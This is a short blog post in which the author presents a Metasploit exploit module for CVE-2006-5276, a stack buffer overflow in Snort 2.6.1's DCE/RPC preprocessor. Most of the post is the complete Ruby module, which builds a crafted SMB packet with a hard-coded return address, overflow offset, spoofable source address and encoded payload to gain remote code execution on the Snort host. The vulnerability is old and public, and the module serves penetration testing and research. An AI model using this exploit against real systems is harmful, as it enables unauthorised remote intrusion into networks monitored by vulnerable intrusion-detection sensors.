Posted by & filed under Hacks, Tools & Methodology.

I’ve recently had some time on my hands (knee injury), so I decided to implement a couple of Metasploit modules.

This first module allows remote attackers to execute arbitrary code by exploiting the Snort service via crafted SMB traffic. The vulnerability is due to a boundary error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests, which may result a stack-based buffer overflow with a specially crafted packet sent on a network that is monitored by Snort 2.6.1 (yes, this is an old vulnerability):

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Capture
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Stack-based buffer overflow in the DCE/RPC preprocessor in Snort',
      'Description' => %q{
        This module allows remote attackers to execute arbitrary code exploiting
        the Snort service via crafted SMB traffic. The vulnerability is caused 
        due to a boundary error within the DCE/RPC preprocessor when reassembling
        SMB Write AndX requests. This can be exploited to cause a stack-based
        buffer overflow via a specially crafted packet sent on a network that
        is monitored by Snort.

        Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS
        4.1, 4.5 and 4.6.

        Any host on the Snort network may be used as the remote host. The remote
        host does not need to be running the SMB service for the exploit to be
        successful.

        Original discovery by Neel Mehta, IBM Internet Security Systems X-Force.
      },
      'Author' => [ 'Carsten Maartmann-Moe ' ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision$',
      'Platform' => 'win',
      'References' =>
        [
          [ 'OSVDB', '67988' ],
          [ 'CVE', 'CVE-2006-5276' ],
          [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py' ]
        ],
      'DefaultOptions'=>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload' =>
        {
          'Space' => 390,
          'BadChars' => "\x00",
          'DisableNops' => true,
        },
      'Targets' =>
        [
          [ 'Windows Universal',
            {
              'Ret' => 0x00407c01, # JMP ESP snort.exe
              'Offset' => 289  # The number of bytes before overwrite
            }
          ],
        ],
      'Privileged' => true,
      'DisclosureDate'=> 'Feb 19 2007',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(139),
        OptAddress.new('RHOST', [ true,  'A host on the Snort-monitored network' ]),
        OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address',
                                  nil ])
      ], self.class)

    deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
  end

  def exploit
    open_pcap

    shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)

    p = buildpacket(shost, rhost, rport.to_i)

    print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")

    capture_sendto(p, rhost)

    handler
  end

  def buildpacket(shost, rhost, rport)
    p = PacketFu::TCPPacket.new
    p.ip_saddr = shost
    p.ip_daddr = rhost
    p.tcp_dport = rport
    p.tcp_flags.psh = 1
    p.tcp_flags.ack = 1

    # SMB packet borrowed from http://exploit-db.com/exploits/3362

    # NetBIOS Session Service, value is the number of bytes in the TCP segment,
    # must be greater than the total size of the payload. Statically set.
    header = "\x00\x00\xde\xad"

    # SMB Header
    header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
    header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
    header << "\x00\x08\x30\x00"

    # Tree Connect AndX Request
    header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
    header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
    header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
    header << "\x3f\x3f\x3f\x3f\x3f\x00"

    # NT Create AndX Request
    header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
    header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
    header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
    header << "\x63\x00\x00\x00"

    # Write AndX Request #1
    header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
    header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
    header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
    header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
    header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
    header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
    header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

    # Write AndX Request #2
    header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
    header << "\x00\x48\x00\x00\x00\xff\x01"

    tail = "\x00\x00\x00\x00\x49\x00\xee"

    # Return address
    eip = [target['Ret']].pack('V')

    # Sploit
    sploit = make_nops(10)
    sploit << payload.encoded

    # Padding (to pass size check)
    sploit << make_nops(1)

    # The size to be included in Write AndX Request #2, including sploit payload
    requestsize = [(sploit.size() + target['Offset'])].pack('v')

    # Assemble the parts into one package
    p.payload = header << requestsize << tail << eip << sploit
    p.recalc

    p
  end
end

The module was recently accepted into the framework. Download Metasploit from github.

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